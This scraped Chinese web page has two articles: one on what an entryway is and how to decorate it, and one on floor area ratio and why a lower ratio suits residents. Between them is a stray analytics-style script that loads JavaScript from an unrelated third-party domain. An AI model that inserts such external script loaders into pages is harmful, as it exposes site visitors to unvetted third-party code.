玄关是哪里 玄关应该怎样装修更好看

随着人们生活品质的提高，家装中的各种小细节也要求的更为严格。就像以前都不怎么重视的玄关也成了大家装修的重要组成部分。说到这里有人就要问了，玄关是哪里？其实玄关就是入户门与内面房间的一个连接，通常是一小块地方。下面来看下玄关应该怎样装修吧！1、了解玄关开头我们说了玄关是哪里，了解玄关是哪里是很重要的，这样才能帮助我们更好的装饰玄关。为什么会有玄关这一说法呢，其实这和我们古代的屏风有着异曲同工之妙，古人素来含蓄内敛，屏风作为外室与内室的遮挡，既是礼貌又是对来访者表示尊敬。而玄关的作用其实也差不多，连接两个空间，使得两个空间不那么突兀。不同的房型其实玄关的样子也是不一样的，如果想知道一个房子的玄关是哪里，就要从它的大门处看起。玄关一般面积不大，多为走廊处。这下明白玄关是哪了吧！2、玄关怎样装修明白了玄关是哪里，接下来就来说说玄关怎样装修吧！玄关装修其实有好多种，有用玻璃来作为隔断的、有做鞋柜收纳柜的等等。这个就要根据不同的户型玄关是哪来进行选择。一般如果是小户型的话会建议做一些具有收纳功能的柜子来作为玄关，因为面积小，寸土寸金，哪里都不能浪费啊！大户型的话其实可衣尝试做一些具有艺术性、观赏性的镂空雕花的隔断作为玄关，这样既装饰了玄关，有提高了整个房子的品味。如果不想麻烦，用几副自己喜欢的艺术装饰画来挂在玄关上了是好看的，主要是要与整个房子的风格一致。这下你知道玄关是哪里了吗？按照上面的装修，让你家里的玄关也变得多姿多彩吧！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

容积率大好还是小好

容积率是指在城市规划区的某一宗地内，房屋的总建筑面积与宗地面积的比值，分为实际容积率和规划容积率两种。通常所说的容积率是指规划容积率，即宗地内规划允许总建筑面积与宗地面积的比值。容积率怎么算容积率计算准则1、当住宅建筑标准层层高大于4.9米(2.7米+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的2倍计算;当住宅建筑层高大于7.6米(2.7米×2+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的3倍计算。2、当办公建筑标准层层高大于5.5米(3.3米+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的2倍计算;当办公建筑层高大于8.8米(3.3米×2+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的3倍计算。3、当普通商业建筑标准层层高大于6.1米(3.9米+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的2倍计算;当普通商业建筑层高大于10米(3.9米×2+2.2米)时，不论层内是否有隔层，建筑面积的计算值按该层水平投影面积的3倍计算。容积率计算公式容积率=地上总建筑面积÷规划用地面积上面这个公式的出处有：北京市规划委员会关于发布《容积率指标计算规则》的通知(市规发〔2006〕851号，2006年7月10日)容积率的大小反映了土地利用强度及其利用效益的高低，也反映了地价水平的差异。因此，容积率是城市区划管理中所采用的一项重要指标，也是从微观上影响地价最重要的因素。那么大家在买房的时候，是容积率大好还是小好呢?对于发展商来说，容积率决定地价成本在房屋中占的比例，而对于住户来说，容积率直接涉及到居住的舒适度。容积率较小，建筑密度一般也就较低，发展商可用于回收资金的面积就越少，而住户就越舒服。通常来讲，一个良好的居住小区，高层住宅容积率应不超过5，多层住宅应不超过2，绿地率应不低于30%。容积率高的住宅项目意味着小区内房子建得密杂，而这类的住宅必定会带来高密度的居住人口，最终导致小区内居住者的生活舒适度下降。另外，高密度的居住人口还会对小区内的健身场所、儿童活动区域、会所中心以及楼宇内的电梯、消防通道形成比较大的压力。频繁地使用会加速这些设施的老化率，所以在购买高密度小区时应该对此保留一定的要求。住宅容积率一般在土地拍卖时已确定，只有什么产品适合什么容积率的问题了。从理论上讲，对同一小区而言，容积率较小，则房价较高;容积率较大，则房价较低。对于一个楼盘的容积率大好还是小好，业界普遍认为，容积率越高的小区，居住舒适度越低。总结：肯定是小好。容积率的概念是建筑面积除以用地面积的比值。例如一块用地占地1000平方，若是做了3000平方的房子，则容积率为3，容积率越高建筑面积越大相应的绿化越小，建筑面积越大住户越多则车位越紧张。开发商公关规划局的目的就在于调高容积率，例如容积率由3调到4则可以多做约10%的房子。几乎所有犯错误的规划局长都是因为容积率这个数字